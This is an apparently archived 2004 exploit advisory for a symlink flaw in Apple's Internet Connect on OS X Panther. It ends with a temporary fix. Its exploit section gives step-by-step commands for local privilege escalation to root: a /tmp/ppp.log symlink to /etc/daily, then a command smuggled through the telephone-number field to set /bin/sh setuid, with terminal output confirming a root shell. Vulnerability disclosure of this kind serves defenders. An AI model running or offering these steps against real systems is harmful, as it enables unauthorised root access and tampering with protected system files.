Date: 25.07.2004
Author: B-r00t. 2004.
Email: B-r00t <br00t blueyonder co uk>
Vendor: Apple
Operating
System: OSX Panther (Possibly Previous Versions).
Application: Internet Connect.app
Tested: Panther 10.3.4 (Internet Connect v1.3)
Problem: Internet Connect allows any file on the file
system to be altered.
Status: 0day! - Temporary Fix Included.
Description:
Apples Internet Connect application creates a
'ppp.log' file in '/tmp/'. If the file already
exists it is opened in append mode. If it does
not exist a new file is created.
It is possible to trick Internet Connect into
appending data to any file on the filesystem by
creating a symlink file '/tmp/ppp.log' pointing
to the file to be altered.
If the file '/tmp/ppp.log' already exists, the
attack is not possible as the file is owned by
user 'root' and group 'wheel': -
$ ls -l /tmp/ppp.log
-rw-r--r-- 1 root wheel 807 24 Jul 23:44 /tmp/ppp.log
However, due to the Operating System clearing the
'/tmp' directory during system startup and also on
a regular basis due to system maintenance, it
becomes possible to form the attack as shown below:
First a file is created to represent a system file,
owned and only writable by user 'root'.
maki:~ # echo "TEST" > /etc/file_owned_by_root
maki:~ # ls -l /etc/file_owned_by_root
-rw-r--r-- 1 root wheel 5 25 Jul 00:09 /etc/
file_owned_by_root
maki:~ # cat /etc/file_owned_by_root
TEST
A symlink is now created in the '/tmp' directory to
point to the file to be altered. It is important to
realise that the link can be created as a none 'admin'
or 'root' user.
maki:/tmp $ id
uid=502(br00t) gid=502(br00t) groups=502(br00t)
maki:/tmp $ ln -s /etc/file_owned_by_root ppp.log
maki:/tmp $ ls -l ./ppp.log
lrwxr-xr-x 1 root wheel 23 25 Jul 00:11 ./ppp.log@ -> /
etc/file_owned_by_root
Now Internet Connect is opened. Under 'configuration'
choose 'Other'. Enter some text into the 'Telephone
Number' box (B-r00t r0x y3r w0rld!) and click 'Connect'.
'Cancel' can be clicked several seconds later.
Checking the original file '/etc/file_owned_by_root'
we see the following: -
maki:~ $ cat /etc/file_owned_by_root
TEST
Sun Jul 25 00:20:42 2004 : Version 2.0
Sun Jul 25 00:20:43 2004 : Dialing B-r00t r0x y3r w0rld!
Sun Jul 25 00:20:54 2004 : Terminating on signal 15.
Sun Jul 25 00:20:58 2004 : Serial link disconnected.
As can be seen, data has been appended to the 'protected'
file.
Impact: It is possible for a local user to escalate their
privileges by appending data to specific system files.
In addition, a malicious user may be able to render the
machine unusable by corrupting important system files.
Exploit: This demonstration appends commands to the '/etc/daily'
file which is executed by default at 3:15AM each day.
An alternative attack might involve appending to any
of the files that are sourced at system start up such
as '/etc/rc.common'. This latter method is convenient
if the user is able to reboot the machine.
Create our link
maki:~ $ ln -s /etc/daily /tmp/ppp.log
Open Internet Connect.
Internal Modem -> Configuration -> Other
Internet Connect only allows certain characters to be
used for the telephone number. The background '&'
character allows our command string to execute amongst
the time and date strings also appended.
Telephone Number:
& cd .. && cd .. && cd .. && cd .. && cd bin && chmod 4755
sh &
Click 'Connect' ...*wait (10secs) ... 'Cancel'
Check the '/etc/daily' file.
maki:~ $ tail /etc/daily
if [ -f /etc/security ]; then
echo ""
echo "Running security:"
sh /etc/security 2>&1 | sendmail root
fi
Sun Jul 25 03:10:11 2004 : Version 2.0
Sun Jul 25 03:10:11 2004 : Dialing & cd .. && cd .. && cd ..
&& cd .. && cd bin && chmod 4755 sh &
Sun Jul 25 03:10:15 2004 : Terminating on signal 15.
Sun Jul 25 03:10:17 2004 : Serial link disconnected.
Now sit back and wait for cron to execute '/etc/daily' at 03:
15AM.
maki:~ $ date
Sun Jul 25 03:13:43 CEST 2004
maki:~ $ cd /bin
maki:/bin $ ls -l sh
-r-xr-xr-x 1 root wheel 603488 25 Jun 09:39 sh*
maki:/bin $ date
Sun Jul 25 03:15:50 CEST 2004
maki:/bin $ ls -l sh
-rwsr-xr-x 1 root wheel 603488 25 Jun 09:39 sh*
maki:/bin $ sh
maki:/bin # id
uid=502(br00t) euid=0(root) gid=502(br00t)
groups=502(br00t)
All thats left to do is clean up '/etc/daily' and remove the
link
'/tmp/ppp.log'
FIX: The following commands serve to provide a temporary fix
until
Apple release an official update.
Open a terminal: /Applications/Utilities/Terminal.app
Gain root access using 'sudo':
maki:~ $ sudo sh
Password:[YOUR PASSWORD]
maki:~ # whoami
root
You can copy and paste the following commands: -
/usr/bin/touch /tmp/ppp.log
echo '/usr/bin/touch /tmp/ppp.log' >> /etc/daily
echo '/usr/bin/touch /tmp/ppp.log' >> /etc/rc.common
These commands ensure that a '/tmp/ppp.log' file is
present to prevent a user from creating a link as shown
above. Alternatively the line:
/usr/bin/touch /tmp/ppp.log
can be added to each file '/etc/daily' and '/etc/rc.common'
manually using an editor and root privileges.
Shoutz: Marshal-L, Ruxsaw, Haggis & Kraft.
s1, Blex & the old #cheese posse (RIP).
Maz ... Good Luck For The Wedding!
# milw0rm.com [2004-07-28]
